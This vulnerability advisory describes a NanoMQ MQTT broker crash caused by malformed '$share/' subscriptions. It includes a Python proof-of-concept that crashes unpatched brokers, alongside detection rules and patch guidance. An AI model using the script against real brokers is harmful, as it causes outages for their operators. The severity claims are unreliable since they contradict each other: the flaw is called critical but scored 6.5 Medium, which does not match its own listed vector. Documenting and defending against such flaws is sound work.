CVE-2025-68699
Executive Summary
CVE-2025-68699 is a critical NULL pointer dereference vulnerability in the NanoMQ MQTT Broker (versions prior to 0.24.7). The flaw resides in the handling of malformed shared subscription topics ($share/). An unauthenticated, remote attacker can trigger a denial-of-service (DoS) condition by sending a crafted SUBSCRIBE packet with a topic filter like $share/ab (missing the second /). The broker fails to validate the topic filter during subscription, and later, when a matching PUBLISH occurs, the nmq_pipe_send_start_v4/v5 function performs a second parsing of the $share/ prefix using strchr(). If the second strchr() returns NULL, the code increments the pointer without a NULL check, leading to an invalid memory access and a crash (SIGSEGV). The vulnerability is remotely exploitable and stable, making it a high-severity threat for IoT and edge deployments using NanoMQ.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
NanoMQ is distributed as a standalone binary, Docker image, and via package managers for various Linux distributions. The vulnerability affects all deployments using version 0.24.6 or earlier. Organizations should verify their NanoMQ version and update to 0.24.7 immediately. There is no known compromise of the supply chain, but the unpatched status in older versions poses a direct risk to MQTT-based systems.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely over the MQTT protocol.
- Attack Complexity (AC): Low (L) – No special conditions required; a single malformed SUBSCRIBE packet suffices.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerability does not affect other components.
- Confidentiality (C): None (N) – No data exposure.
- Integrity (I): None (N) – No data modification.
- Availability (A): High (H) – Complete denial of service via crash.
CVSS Score: 6.5 (Medium) – The high availability impact and remote exploitability make this a critical concern for production environments.
Deep Dive & Mechanics
The vulnerability is a classic NULL pointer dereference (CWE-476) in the MQTT broker's shared subscription handling. NanoMQ supports MQTT v5 shared subscriptions using the $share/<GroupName>/<TopicFilter> format. The parsing logic in nmq_pipe_send_start_v4/v5 uses strchr() to locate the second / in the topic filter. When a malformed topic like $share/ab is stored (missing the second /), the second strchr() returns NULL. The code then increments the returned pointer (sub_topic++) without checking for NULL, resulting in an address like 0x1. This invalid pointer is passed to topic_filtern(), which calls strlen() on it, causing a segmentation fault.
The root cause is twofold:
- Insufficient validation during the SUBSCRIBE phase – the broker accepts
$share/abas a valid topic filter. - Missing NULL check in the send path – the code assumes the second
strchr()always succeeds.
The crash is stable and reproducible, making it a reliable DoS vector.
Vulnerable vs. Patched Code
Vulnerable Code (v0.24.6):
// In nmq_pipe_send_start_v4/v5
char *sub_topic = topic;
if (strncmp(sub_topic, "$share/", 7) == 0) {
sub_topic = strchr(sub_topic + 7, '/');
sub_topic++; // NULL pointer dereference if strchr returns NULL
// ... further processing
}
Patched Code (v0.24.7):
// In nmq_pipe_send_start_v4/v5
char *sub_topic = topic;
if (strncmp(sub_topic, "$share/", 7) == 0) {
sub_topic = strchr(sub_topic + 7, '/');
if (sub_topic == NULL) {
// Handle error: invalid shared subscription format
return -1;
}
sub_topic++;
// ... further processing
}
The patch adds a NULL check after strchr() and returns an error if the format is invalid, preventing the dereference.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- NanoMQ v0.24.6 or earlier running on a target host (default port 1883).
- Network access to the MQTT broker.
Exploit Steps:
- Connect to the broker using any MQTT client (e.g.,
mosquitto_pubor a custom script). - Subscribe to a malformed shared topic:
$share/ab(missing the second/). - Publish a message to a topic that matches the subscription (e.g.,
ab). - The broker crashes immediately upon attempting to forward the message.
Proof-of-Concept (Python):
import paho.mqtt.client as mqtt
import time
def on_connect(client, userdata, flags, rc):
print("Connected with result code " + str(rc))
# Subscribe to malformed shared topic
client.subscribe("$share/ab")
def on_message(client, userdata, msg):
print(msg.topic + " " + str(msg.payload))
client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
client.connect("target_ip", 1883, 60)
client.loop_start()
# Publish to trigger the crash
time.sleep(1)
client.publish("ab", "trigger")
time.sleep(2)
client.loop_stop()
Expected Outcome: The broker process crashes with SIGSEGV, causing a denial of service.
Blue Team (Detection & Mitigation)
Detection:
- Monitor MQTT SUBSCRIBE packets for malformed
$share/topics (e.g.,$share/abwithout a second/). - Watch for sudden broker crashes or restarts.
- Use network monitoring to detect anomalous MQTT traffic patterns.
Mitigation:
- Immediately upgrade to NanoMQ v0.24.7 or later.
- If upgrade is not possible, implement a WAF or MQTT proxy to validate topic filters before they reach the broker.
- Restrict network access to the MQTT broker (e.g., firewall rules, VPN).
Indicators of Compromise (IOCs)
- Network IOCs:
- MQTT SUBSCRIBE packets with topic filter
$share/ab(or similar malformed patterns). - Repeated connection attempts from the same IP with malformed subscriptions.
- MQTT SUBSCRIBE packets with topic filter
- System IOCs:
- Broker crash logs containing
SIGSEGVorsegfaultinnmq_pipe_send_start_v4ornmq_pipe_send_start_v5. - Core dump files from the NanoMQ process.
- Broker crash logs containing
- File IOCs:
- Log entries showing
topic_filternfailure with invalid pointer.
- Log entries showing
Detection Engineering
YARA Rule
rule CVE_2025_68699_NanoMQ_NULL_Pointer_Dereference {
meta:
description = "Detects NanoMQ binary with vulnerable shared subscription parsing"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-68699"
strings:
$vuln_code = { 48 8B 45 ?? 48 83 C0 07 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 83 45 ?? 01 } // strchr then increment without NULL check
$patched_code = { 48 8B 45 ?? 48 83 C0 07 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 85 C0 74 ?? } // strchr then NULL check
condition:
$vuln_code and not $patched_code
}
Sigma Rule
title: CVE-2025-68699 NanoMQ Shared Subscription DoS
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects malformed MQTT SUBSCRIBE packets targeting NanoMQ shared subscriptions
author: Valters IT
date: 2025-04-10
logsource:
category: network
product: mqtt
detection:
selection:
mqtt.packet_type: 'SUBSCRIBE'
mqtt.topic_filter|contains: '$share/'
mqtt.topic_filter|re: '^\$share\/[^\/]+$' # Missing second slash
condition: selection
falsepositives:
- Legitimate but malformed subscriptions (unlikely)
level: high
Suricata Rule
alert tcp any any -> any 1883 (msg:"CVE-2025-68699 NanoMQ Shared Subscription DoS"; flow:to_server,established; content:"|82|"; depth:1; content:"|00 00|"; within:2; content:"$share/"; distance:2; within:7; pcre:"/^\$share\/[^\/]+$/R"; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade NanoMQ to version 0.24.7 or later.
- If upgrade is not possible, apply a hotfix by adding NULL pointer checks in the
nmq_pipe_send_start_v4/v5functions (see patched code above). - Restrict MQTT broker access to trusted networks only.
Long-term Measures:
- Implement input validation for all MQTT topic filters at the application layer.
- Use a reverse proxy or MQTT firewall to filter malformed packets.
- Enable logging and monitoring for broker crashes.
- Subscribe to NanoMQ security advisories for future updates.
Workaround: Disable shared subscriptions if not required, by configuring the broker to reject $share/ topics.
Valters IT